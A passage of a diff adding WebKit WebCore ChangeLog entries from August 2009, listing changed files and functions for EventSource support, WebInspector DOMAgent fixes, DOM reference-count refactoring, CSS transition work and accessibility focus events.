+        https://bugs.webkit.org/show_bug.cgi?id=28358
+
+        Remove superflous "Event* evt" parameter from executeTask() methods. It's a leftover from the initial WML merge.
+
+        * wml/WMLAnchorElement.cpp:
+        (WebCore::WMLAnchorElement::defaultEventHandler):
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::defaultEventHandler):
+        * wml/WMLGoElement.cpp:
+        (WebCore::WMLGoElement::executeTask):
+        * wml/WMLGoElement.h:
+        * wml/WMLIntrinsicEventHandler.cpp:
+        (WebCore::WMLIntrinsicEventHandler::triggerIntrinsicEvent):
+        * wml/WMLPrevElement.cpp:
+        (WebCore::WMLPrevElement::executeTask):
+        * wml/WMLPrevElement.h:
+        * wml/WMLRefreshElement.cpp:
+        (WebCore::WMLRefreshElement::executeTask):
+        * wml/WMLRefreshElement.h:
+        * wml/WMLTaskElement.h:
+
+2009-08-16  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: A handful of DOMAgent-related fixes and cleanups.
+
+        - renamed elementId to nodeId in operations on nodes.
+        - added load listeners to frame owners in InspectorDOMAgent.
+        - removed InspectorController::inspectedWindowScriptObjectCleared event.
+        - preserved isViaInspector flag for 'via inspector' marker to survive styles update.
+        - removed contentDocument-related logic from ElementsPanel since it is handled in
+            the InspectorDOMAgent.
+        - removed DOM listeners unregistration and corresponding events from InspectorController.
+        - made this.styles 'private' in ElementsPanel.
+        - added TODO for the handleCopy processing.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28356
+
+        * WebCore.order:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getChildNodes):
+        (WebCore::InspectorBackend::setTextNodeValue):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::startListening):
+        (WebCore::InspectorDOMAgent::stopListening):
+        (WebCore::InspectorDOMAgent::handleEvent):
+        (WebCore::InspectorDOMAgent::pushChildNodesToFrontend):
+        (WebCore::InspectorDOMAgent::getChildNodes):
+        (WebCore::InspectorDOMAgent::pushNodePathToFrontend):
+        (WebCore::InspectorDOMAgent::setTextNodeValue):
+        (WebCore::InspectorDOMAgent::buildObjectForNode):
+        (WebCore::InspectorDOMAgent::buildArrayForContainerChildren):
+        (WebCore::InspectorDOMAgent::innerParentNode):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorFrontend.cpp:
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMDocument.prototype.addEventListener):
+        (WebInspector.DOMDocument.prototype.removeEventListener):
+        (WebInspector.DOMDocument.prototype._fireDomEvent):
+        (WebInspector.DOMAgent.prototype.getChildNodesAsync.mycallback):
+        (WebInspector.DOMAgent.prototype.getChildNodesAsync):
+        (WebInspector.DOMAgent.prototype._setChildNodes):
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        (WebInspector.childNodeInserted):
+        (WebInspector.childNodeRemoved):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel):
+        (WebInspector.ElementsPanel.prototype.reset):
+        (WebInspector.ElementsPanel.prototype.addStyleChange):
+        (WebInspector.ElementsPanel.prototype.removeStyleChange):
+        (WebInspector.ElementsPanel.prototype._updateModifiedNodes):
+        (WebInspector.ElementsPanel.prototype.updateBreadcrumb):
+        (WebInspector.ElementsPanel.prototype.handleCopyEvent):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.set rootDOMNode):
+        (WebInspector.ElementsTreeOutline.prototype.findTreeElement):
+        (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren.updateChildrenOfNode):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren):
+        (WebInspector.ElementsTreeElement.prototype.onexpand):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.addStyleSelector):
+        (InjectedScript._serializeRule):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection):
+        * inspector/front-end/inspector.js:
+        (WebInspector.set hoveredDOMNode):
+        * inspector/front-end/treeoutline.js:
+        (TreeOutline.prototype.findTreeElement):
+        * inspector/front-end/utilities.js:
+        (Node.prototype.enclosingNodeOrSelfWithNodeNameInArray):
+        (Node.prototype.enclosingNodeOrSelfWithClass):
+        (isAncestorNode):
+        (firstCommonNodeAncestor):
+        (traverseNextNode):
+        (traversePreviousNode):
+        ():
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
+        * page/android/InspectorControllerAndroid.cpp:
+
+2009-08-15  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt
+
+        Optimize updateFillImages() to not add/remove clients every time
+        https://bugs.webkit.org/show_bug.cgi?id=28334
+
+        Optimize the case where old and new just have a single layer pointing to the same (or no)
+        image.
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::updateFillImages):
+
+2009-08-15  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Implement animations of multiple text-shadows and -webkit-box-shadows.
+        https://bugs.webkit.org/show_bug.cgi?id=28266
+        
+        Test: transitions/multiple-shadow-transitions.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::PropertyWrapperShadow::equals):
+        (WebCore::PropertyWrapperShadow::blend):
+
+2009-08-15  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Make transitions work for position and size of multiple backgrounds and masks.
+        https://bugs.webkit.org/show_bug.cgi?id=28266
+        
+        Make background-position, background-size, -webkit-mask-position and -webkit-mask-size
+        properties animatable with multiple backgrounds, rather than just animating the first one.
+
+        Tests: transitions/multiple-background-size-transitions.html
+               transitions/multiple-background-transitions.html
+               transitions/multiple-mask-transitions.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::FillLayerPropertyWrapperBase::FillLayerPropertyWrapperBase):
+        (WebCore::FillLayerPropertyWrapperBase::~FillLayerPropertyWrapperBase):
+        (WebCore::FillLayerPropertyWrapperGetter::FillLayerPropertyWrapperGetter):
+        (WebCore::FillLayerPropertyWrapperGetter::equals):
+        (WebCore::FillLayerPropertyWrapper::FillLayerPropertyWrapper):
+        (WebCore::FillLayerPropertyWrapper::blend):
+        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
+        (WebCore::FillLayersPropertyWrapper::equals):
+        (WebCore::FillLayersPropertyWrapper::blend):
+        (WebCore::ensurePropertyMap):
+        * rendering/style/FillLayer.h:
+        (WebCore::FillLayer::setXPosition):
+        (WebCore::FillLayer::setYPosition):
+        (WebCore::FillLayer::setSize):
+
+2009-08-15  George Staikos  <george.staikos@torchmobile.com>
+
+        Reviewed by Jan Alonzo.
+
+        Don't crash in fieldset code when WML is enabled.
+        https://bugs.webkit.org/show_bug.cgi?id=28012
+
+        Test: fast/wml/html-fieldset-crash.html
+
+        * rendering/RenderFieldset.cpp:
+        (WebCore::RenderFieldset::findLegend): ++brackets
+
+2009-08-15  Sam Weinig  <sam@webkit.org>
+
+        Try and enable EventSource on Windows.
+
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/build-generated-files.sh:
+
+2009-08-15  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Setting attribute event listeners to the body does not set them on the window
+        https://bugs.webkit.org/show_bug.cgi?id=28343
+
+        Tests: fast/dom/Window/HTMLBodyElement-window-eventListener-attributes.html
+               fast/dom/Window/HTMLFrameSetElement-window-eventListener-attributes.html
+
+        * html/HTMLBodyElement.cpp:
+        (WebCore::HTMLBodyElement::setOnblur): Use setWindowAttributeEventListener instead of setAttributeEventListener.
+        (WebCore::HTMLBodyElement::setOnerror): Ditto.
+        (WebCore::HTMLBodyElement::setOnfocus): Ditto.
+        (WebCore::HTMLBodyElement::setOnload): Ditto.
+        (WebCore::HTMLBodyElement::setOnbeforeunload): Ditto.
+        (WebCore::HTMLBodyElement::setOnmessage): Ditto.
+        (WebCore::HTMLBodyElement::setOnoffline): Ditto.
+        (WebCore::HTMLBodyElement::setOnonline): Ditto.
+        (WebCore::HTMLBodyElement::setOnresize): Ditto.
+        (WebCore::HTMLBodyElement::setOnstorage): Ditto.
+        (WebCore::HTMLBodyElement::setOnunload): Ditto.
+        * html/HTMLFrameSetElement.cpp:
+        (WebCore::HTMLFrameSetElement::setOnblur): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnerror): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnfocus): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnload): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnbeforeunload): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnmessage): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnoffline): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnonline): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnresize): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnstorage): Ditto.
+        (WebCore::HTMLFrameSetElement::setOnunload): Ditto.
+
+2009-08-15  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Fix up some IDL comments.
+
+        * html/HTMLBodyElement.idl:
+        * html/HTMLFrameSetElement.idl:
+
+2009-08-15  Adam Bergkvist  <adam.bergkvist@ericsson.com>
+
+        Reviewed by Sam Weinig.
+
+        Added implementation of the EventSource object that enables
+        server-sent events from HTML5.
+        http://dev.w3.org/html5/eventsource/
+        https://bugs.webkit.org/show_bug.cgi?id=14997
+
+        Tests: fast/eventsource/eventsource-attribute-listeners.html
+               fast/eventsource/eventsource-constructor.html
+               http/tests/eventsource/eventsource-bad-mime-type.html
+               http/tests/eventsource/eventsource-parse-event-stream.html
+               http/tests/eventsource/eventsource-reconnect.html
+               http/tests/eventsource/eventsource-status-code-states.html
+               http/tests/eventsource/workers/eventsource-simple.html
+
+        * Configurations/FeatureDefines.xcconfig:
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::eventSource):
+        * bindings/js/JSEventSourceConstructor.cpp: Added.
+        (WebCore::):
+        (WebCore::JSEventSourceConstructor::JSEventSourceConstructor):
+        (WebCore::constructEventSource):
+        (WebCore::JSEventSourceConstructor::getConstructData):
+        * bindings/js/JSEventSourceConstructor.h: Added.
+        (WebCore::JSEventSourceConstructor::classInfo):
+        * bindings/js/JSEventSourceCustom.cpp: Added.
+        (WebCore::JSEventSource::markChildren):
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        (WebCore::toEventTarget):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::eventSource):
+        * dom/EventNames.h:
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::toEventSource):
+        * dom/EventTarget.h:
+        * page/DOMWindow.idl:
+        * page/EventSource.cpp: Added.
+        (WebCore::EventSource::EventSource):
+        (WebCore::EventSource::~EventSource):
+        (WebCore::EventSource::connect):
+        (WebCore::EventSource::endRequest):
+        (WebCore::EventSource::scheduleReconnect):
+        (WebCore::EventSource::reconnectTimerFired):
+        (WebCore::EventSource::url):
+        (WebCore::EventSource::readyState):
+        (WebCore::EventSource::close):
+        (WebCore::EventSource::scriptExecutionContext):
+        (WebCore::EventSource::addEventListener):
+        (WebCore::EventSource::removeEventListener):
+        (WebCore::EventSource::dispatchEvent):
+        (WebCore::EventSource::didReceiveResponse):
+        (WebCore::EventSource::didReceiveData):
+        (WebCore::EventSource::didFinishLoading):
+        (WebCore::EventSource::didFail):
+        (WebCore::EventSource::didFailRedirectCheck):
+        (WebCore::EventSource::parseEventStream):
+        (WebCore::EventSource::parseEventStreamLine):
+        (WebCore::EventSource::dispatchGenericEvent):
+        (WebCore::EventSource::dispatchMessageEvent):
+        (WebCore::EventSource::stop):
+        * page/EventSource.h: Added.
+        (WebCore::EventSource::create):
+        (WebCore::EventSource::):
+        (WebCore::EventSource::setOnopen):
+        (WebCore::EventSource::onopen):
+        (WebCore::EventSource::setOnmessage):
+        (WebCore::EventSource::onmessage):
+        (WebCore::EventSource::setOnerror):
+        (WebCore::EventSource::onerror):
+        (WebCore::EventSource::toEventSource):
+        (WebCore::EventSource::eventListeners):
+        (WebCore::EventSource::refEventTarget):
+        (WebCore::EventSource::derefEventTarget):
+        * page/EventSource.idl: Added.
+        * workers/WorkerContext.idl:
+
+2009-08-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Minor DOMAgent bugfixes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28177
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::nodeForId):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMAgent):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+
+2009-08-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Evaluating objects while on a breakpoint dumps string
+        representation instead of live object. 
+
+        https://bugs.webkit.org/show_bug.cgi?id=28280
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.completions.this._evalInInspectedWindow):
+        (WebInspector.ConsoleView.prototype.completions):
+        (WebInspector.ConsoleView.prototype._reportCompletions):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame.delayedEvaluation):
+        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
+        (WebInspector.ScriptsPanel.prototype.variablesInSelectedCallFrame):
+
+2009-08-15  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding two new files to WebCore/platform/haiku:
+        LocalizedStringsHaiku.cpp and LoggingHaiku.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=28129
+
+        * platform/haiku/LocalizedStringsHaiku.cpp: Added.
+        (WebCore::submitButtonDefaultLabel):
+        (WebCore::inputElementAltText):
+        (WebCore::resetButtonDefaultLabel):
+        (WebCore::defaultLanguage):
+        (WebCore::searchableIndexIntroduction):
+        (WebCore::fileButtonChooseFileLabel):
+        (WebCore::fileButtonNoFileSelectedLabel):
+        (WebCore::contextMenuItemTagOpenLinkInNewWindow):
+        (WebCore::contextMenuItemTagDownloadLinkToDisk):
+        (WebCore::contextMenuItemTagCopyLinkToClipboard):
+        (WebCore::contextMenuItemTagOpenImageInNewWindow):
+        (WebCore::contextMenuItemTagDownloadImageToDisk):
+        (WebCore::contextMenuItemTagCopyImageToClipboard):
+        (WebCore::contextMenuItemTagOpenFrameInNewWindow):
+        (WebCore::contextMenuItemTagCopy):
+        (WebCore::contextMenuItemTagGoBack):
+        (WebCore::contextMenuItemTagGoForward):
+        (WebCore::contextMenuItemTagStop):
+        (WebCore::contextMenuItemTagReload):
+        (WebCore::contextMenuItemTagCut):
+        (WebCore::contextMenuItemTagPaste):
+        (WebCore::contextMenuItemTagNoGuessesFound):
+        (WebCore::contextMenuItemTagIgnoreSpelling):
+        (WebCore::contextMenuItemTagLearnSpelling):
+        (WebCore::contextMenuItemTagSearchWeb):
+        (WebCore::contextMenuItemTagLookUpInDictionary):
+        (WebCore::contextMenuItemTagOpenLink):
+        (WebCore::contextMenuItemTagIgnoreGrammar):
+        (WebCore::contextMenuItemTagSpellingMenu):
+        (WebCore::contextMenuItemTagShowSpellingPanel):
+        (WebCore::contextMenuItemTagCheckSpelling):
+        (WebCore::contextMenuItemTagCheckSpellingWhileTyping):
+        (WebCore::contextMenuItemTagCheckGrammarWithSpelling):
+        (WebCore::contextMenuItemTagFontMenu):
+        (WebCore::contextMenuItemTagBold):
+        (WebCore::contextMenuItemTagItalic):
+        (WebCore::contextMenuItemTagUnderline):
+        (WebCore::contextMenuItemTagOutline):
+        (WebCore::contextMenuItemTagWritingDirectionMenu):
+        (WebCore::contextMenuItemTagDefaultDirection):
+        (WebCore::contextMenuItemTagLeftToRight):
+        (WebCore::contextMenuItemTagRightToLeft):
+        (WebCore::contextMenuItemTagInspectElement):
+        (WebCore::searchMenuNoRecentSearchesText):
+        (WebCore::searchMenuRecentSearchesText):
+        (WebCore::searchMenuClearRecentSearchesText):
+        (WebCore::unknownFileSizeText):
+        (WebCore::AXWebAreaText):
+        (WebCore::AXLinkText):
+        (WebCore::AXListMarkerText):
+        (WebCore::AXImageMapText):
+        (WebCore::AXHeadingText):
+        (WebCore::imageTitle):
+        (WebCore::contextMenuItemTagTextDirectionMenu):
+        (WebCore::AXButtonActionVerb):
+        (WebCore::AXTextFieldActionVerb):
+        (WebCore::AXRadioButtonActionVerb):
+        (WebCore::AXCheckedCheckBoxActionVerb):
+        (WebCore::AXUncheckedCheckBoxActionVerb):
+        (WebCore::AXLinkActionVerb):
+        (WebCore::AXDefinitionListTermText):
+        (WebCore::AXDefinitionListDefinitionText):
+        * platform/haiku/LoggingHaiku.cpp: Added.
+        (WebCore::InitializeLoggingChannelsIfNecessary):
+
+2009-08-15  Darin Adler  <darin@apple.com>
+
+        Fix GTK build.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (fallbackObject): Pass 0 for document. Should be OK at least for now.
+
+2009-08-15  Darin Adler  <darin@apple.com>
+
+        Fix Qt build.
+
+        * dom/XMLTokenizerQt.cpp: Use create functions instead of calling new
+        directly to make CDATASection and Comment nodes.
+
+2009-08-14  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Make DOM classes start with a reference count of 1, like all other RefCounted
+        https://bugs.webkit.org/show_bug.cgi?id=28068
+
+        First half, everything except for element classes.
+
+        * GNUmakefile.am: Removed DocPtr.h.
+        * WebCore.gypi: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+
+        * dom/Attr.cpp:
+        (WebCore::Attr::Attr): Added a call to createTextChild here so callers don't
+        have to call it explicitly.
+        (WebCore::Attr::create): Added.
+        (WebCore::Attr::setValue): Changed to take AtomicString.
+        (WebCore::Attr::cloneNode): Use create.
+
+        * dom/Attr.h: Added a create function. Made the constructor private,
+        and a lot of other functions private as well.
+
+        * dom/Attribute.cpp:
+        (WebCore::Attribute::createAttrIfNeeded): Use Attr::create.
+
+        * dom/CDATASection.cpp:
+        (WebCore::CDATASection::create): Added.
+        (WebCore::CDATASection::cloneNode): Use create.
+        (WebCore::CDATASection::virtualCreate): Ditto.
+
+        * dom/CDATASection.h: Added a create function. Made everything private.
+        Removed unneeded destructor declaration.
+
+        * dom/CharacterData.cpp:
+        (WebCore::CharacterData::CharacterData): Replaced the multiple constructors
+        with a single one that takes ConstructionType.
+
+        * dom/CharacterData.h: Made more functions be protected and private.
+        Made m_data be private.
+
+        * dom/Comment.cpp:
+        (WebCore::Comment::Comment): Got rid of an extra constructor.
+        (WebCore::Comment::create): Added.
+        (WebCore::Comment::cloneNode): Call create.
+
+        * dom/Comment.h: Added a create function. Made everything private.
+
+        * dom/ContainerNode.cpp:
+        (WebCore::dispatchChildInsertionEvents): Use RefPtr instead of DocPtr.
+        (WebCore::dispatchChildRemovalEvents): Ditto.
+
+        * dom/ContainerNode.h: Made the constructor protected and passed
+        ConstructionType instead of an isElement boolean.
+
+        * dom/DocPtr.h: Removed.
+
+        * dom/Document.cpp:
+        (WebCore::Document::Document): Simplified the code that sets m_document
+        since it's no longer a smart pointer.
+        (WebCore::Document::removedLastRef): Use explicit calls to selfOnlyRef
+        and selfOnlyDeref instead of a DocPtr in here.
+        (WebCore::Document::~Document): Simplified the code that sets m_document
+        since it's no longer a smart pointer.
+        (WebCore::Document::createDocumentFragment): Call create.
+        (WebCore::Document::createTextNode): Ditto.
+        (WebCore::Document::createComment): Ditto.
+        (WebCore::Document::createCDATASection): Ditto.
+        (WebCore::Document::createProcessingInstruction): Ditto.
+        (WebCore::Document::createEntityReference): Ditto.
+        (WebCore::Document::createEditingTextNode): Ditto.
+        (WebCore::Document::importNode): Call Attr::create.
+        (WebCore::Document::createAttributeNS): Ditto.
+
+        * dom/Document.h: Call adoptRef. Made a lot of functions private and
+        protected and sorted them so public functions come first.
+
+        * dom/DocumentFragment.cpp:
+        (WebCore::DocumentFragment::create): Added.
+        (WebCore::DocumentFragment::cloneNode): Call create.
+        * dom/DocumentFragment.h: Added create.
+
+        * dom/DocumentType.cpp:
+        (WebCore::DocumentType::DocumentType): Pass type to Node constructor.
+        (WebCore::DocumentType::cloneNode): Use create.
+        * dom/DocumentType.h:
+        (WebCore::DocumentType::create): Call adoptRef.
+
+        * dom/EditingText.cpp:
+        (WebCore::EditingText::create): Added.
+        * dom/EditingText.h: Added a create function. Made everything private.
+
+        * dom/Element.cpp:
+        (WebCore::Element::Element): Pass CreateElementZeroRefCount to preserve
+        the zero reference count behavior for classes derived from Element.
+
+        * dom/EntityReference.cpp:
+        (WebCore::EntityReference::create): Added.
+        (WebCore::EntityReference::cloneNode): Call create.
+        * dom/EntityReference.h: Added create. Made everything private.
+
+        * dom/Node.cpp:
+        (WebCore::Node::initialRefCount): Added. Inline helper function for
+        the constructor.
+        (WebCore::Node::isContainer): Ditto.
+        (WebCore::Node::isElement): Ditto.
+        (WebCore::Node::isText): Ditto.
+        (WebCore::Node::Node): Changed to take a construction type argument.
+        Since m_document is now a normal pointer, added a call to selfOnlyRef.
+        (WebCore::Node::~Node): Ditto, but selfOnlyDeref.
+        (WebCore::Node::setDocument): Added selfOnlyRef/Deref calls.
+        (WebCore::Node::appendTextContent): Use the data function instead of
+        calling nodeValue functions, which do the same thing in a roundabout way.
+
+        * dom/Node.h: Made the constructor protected and replaced the multiple
+        arguments iwth a single ConstructionType argument. Sorted the public
+        things first.
+
+        * dom/Notation.h: Made most things private.
+        * dom/Notation.cpp: Removed extra constructor.
+
+        * dom/ProcessingInstruction.cpp:
+        (WebCore::ProcessingInstruction::create): Added.
+        (WebCore::ProcessingInstruction::cloneNode): Call create.
+        * dom/ProcessingInstruction.h: Added create function. Made many other
+        members private.
+
+        * dom/Range.cpp:
+        (WebCore::Range::processContents): Use DocumentFragment::create.
+
+        * dom/Text.cpp:
+        (WebCore::Text::Text): Updated for base class change.
+        (WebCore::Text::create): Added.
+        (WebCore::Text::splitText): Changed to not require access to m_data.
+        (WebCore::Text::cloneNode): Call create.
+        (WebCore::Text::createRenderer): Call dataImpl.
+        (WebCore::Text::attach): Call data.
+        (WebCore::Text::recalcStyle): Call dataImpl.
+        (WebCore::Text::virtualCreate): Call create.
+        (WebCore::Text::createWithLengthLimit): Call create.
+        (WebCore::Text::formatForDebugger): Call data.
+
+        * dom/Text.h: Added a create function. Made many other members private.
+        Renamed createNew to virtualCreate.
+
+        * dom/XMLTokenizer.cpp:
+        (WebCore::XMLTokenizer::enterText): Call Text::create.
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::cdataBlock): Call CDATASection::create.
+        (WebCore::XMLTokenizer::comment): Call Comment::create.
+
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::deleteInsignificantText):
+        Call data instead of string.
+
+        * editing/CreateLinkCommand.cpp:
+        (WebCore::CreateLinkCommand::doApply): Call Text::create.
+
+        * editing/EditorCommand.cpp:
+        (WebCore::executeInsertNode): Call DocumentFragment::create.
+
+        * editing/SplitTextNodeCommand.cpp:
+        (WebCore::SplitTextNodeCommand::doApply): Call Text::create.
+
+        * editing/markup.cpp:
+        (WebCore::appendStartMarkup): Call data instead of nodeValue.
+
+        * html/HTMLDocument.h:
+        (WebCore::HTMLDocument::create): Call adoptRef.
+
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::createContextualFragment): Call DocumentFragment::create.
+        (WebCore::replaceChildrenWithFragment): Call data instead of string.
+        (WebCore::replaceChildrenWithText): Call Text::create.
+        (WebCore::HTMLElement::setInnerText): Call DocumentFragment::create and
+        Text::create.
+        (WebCore::HTMLElement::setOuterText): Call Text::create.
+
+        * html/HTMLKeygenElement.cpp:
+        (WebCore::HTMLKeygenElement::HTMLKeygenElement): Call Text::create.
+
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::setText): Call Text::create.
+
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::textCreateErrorCheck): Call Text::create.
+        (WebCore::HTMLParser::commentCreateErrorCheck): Call Comment::create.
+        (WebCore::HTMLParser::handleIsindex): Call Text::create.
+
+        * html/HTMLViewSourceDocument.cpp:
+        (WebCore::HTMLViewSourceDocument::addText): Call Text::create.
+
+        * html/HTMLViewSourceDocument.h:
+        (WebCore::HTMLViewSourceDocument::create): Call adoptRef.
+
+        * loader/FTPDirectoryDocument.cpp:
+        (WebCore::FTPDirectoryTokenizer::appendEntry): Call Text::create.
+        (WebCore::FTPDirectoryTokenizer::createTDForFilename): Call Text::create.
+
+        * loader/FTPDirectoryDocument.h:
+        (WebCore::FTPDirectoryDocument::create): Call adoptRef.
+        * loader/ImageDocument.h:
+        (WebCore::ImageDocument::create): Ditto.
+        * loader/MediaDocument.h:
+        (WebCore::MediaDocument::create): Ditto.
+        * loader/PlaceholderDocument.h:
+        (WebCore::PlaceholderDocument::create): Ditto.
+        * loader/PluginDocument.h:
+        (WebCore::PluginDocument::create): Ditto.
+        * loader/TextDocument.h:
+        (WebCore::TextDocument::create): Ditto.
+
+        * loader/loader.cpp:
+        (WebCore::Loader::Host::didFinishLoading): Use RefPtr instead of DocPtr.
+        (WebCore::Loader::Host::didFail): Ditto.
+
+        * platform/TreeShared.h:
+        (WebCore::TreeShared::TreeShared): Added an initialRefCount argument,
+        defaulting to 1. Node still sometimes initializes it to 0 instead for now.
+
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::originalText): Use dataImpl instead of string.
+
+        * rendering/RenderTextFragment.cpp:
+        (WebCore::RenderTextFragment::originalText): Use dataImpl instead of string.
+        (WebCore::RenderTextFragment::previousCharacter): Ditto.
+
+        * svg/SVGDocument.h:
+        (WebCore::SVGDocument::create): Use adoptRef.
+
+        * svg/SVGElementInstance.cpp:
+        (WebCore::SVGElementInstance::SVGElementInstance): Updated to take a
+        PassRefPtr.
+
+        * svg/SVGElementInstance.h: Made everything private.
+
+        * wml/WMLDocument.h:
+        (WebCore::WMLDocument::create): Called adoptRef.
+
+        * xml/XPathNamespace.cpp:
+        (WebCore::XPathNamespace::XPathNamespace): Take AtomicString arguments.
+        * xml/XPathNamespace.h: Made everything private.
+
+        * xml/XSLTProcessor.cpp:
+        (WebCore::createFragmentFromSource): Use DocumentFragment::create and
+        Text::create.
+
+2009-08-13  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Part of <rdar://problem/6218721> No MSAA focus events fired for Webkit
+        nightly (20866)
+
+        https://bugs.webkit.org/show_bug.cgi?id=20866
+
+        Reviewed by Oliver Hunt.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::AXObjectCache):
+        Changed to take a pointer to its owner document. This is used by
+        AXObjectCache::handleFocusedUIElementChanged().
+        (WebCore::AXObjectCache::focusedUIElementForPage):
+        Code moved from AccessibilityRenderObject::focusedUIElement(). Modified
+        to be a static function and to take a pointer to a Page.
+        (WebCore::AXObjectCache::platformGenerateAXID):
+        Moved the code to generate the next AXID from getAXID() to here. Added
+        a #if to make this non-WIN only, because Windows has its own
+        implementation.
+        (WebCore::AXObjectCache::getAXID):
+        Ensure that we generate a positive AXID, ranging from 1 to LONG_MAX.
+
+        * accessibility/AXObjectCache.h:
+        Add a declaration for Document and Page. Removed the declaration of
+        AccessibilityObject, because we include the header. Reordered the
+        declaration of Node alphabetically. Moved the typedef for AXID to
+        AccessibilityObject. Removed some trailing whitespace. Added a member
+        variable to hold a pointer to the owner Document.
+        (WebCore::AXObjectCache::AXObjectCache):
+        Changed to take a pointer to its owner Document.
+        (WebCore::AXObjectCache::focusedUIElementForPage):
+        Added; code moved from AccessiblityRenderObject::focusedUIElement().
+        Returns the focused element with respect to accessibility.
+        (WebCore::AXObjectCache::platformGenerateAXID):
+        Declare a function to generate an AXID.
+        (WebCore::AXObjectCache::objectFromAXID):
+        Return the AccessibilityObject with the given AXID.
+
+        * accessibility/AccessibilityObject.h:
+        Moved the typedef for AXID from AXObjectCache to here. Made the m_id
+        member use the typedef.
+        (WebCore::AccessibilityObject::axObjectID):
+        Changed the return type to use the typedef.
+        (WebCore::AccessibilityObject::setAXObjectID):
+        Changed the argument type to use the typedef.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        Removed some unneeded #includes.
+        (WebCore::AccessibilityRenderObject::focusedUIElement):
+        Moved the code to AXObjectCache::focusedUIElementForPage(), which we now
+        call.
+
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::platformGenerateAXID):
+        Ensure that we generate an AXID that is in the range 1 to LONG_MAX.
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        If the Document has no Page, return. If the Page has not focused
+        element (respecting accessibility), return. Assert that the
+        accessibility of the focused element is not ignored, and that the
+        object's AXID will be negative and fit into a LONG when negated.
+        Broadcast a focus event for the object.
+
+        * dom/Document.cpp:
+        (WebCore::Document::axObjectCache):
+        Pass this when creating the AXObjectCache.
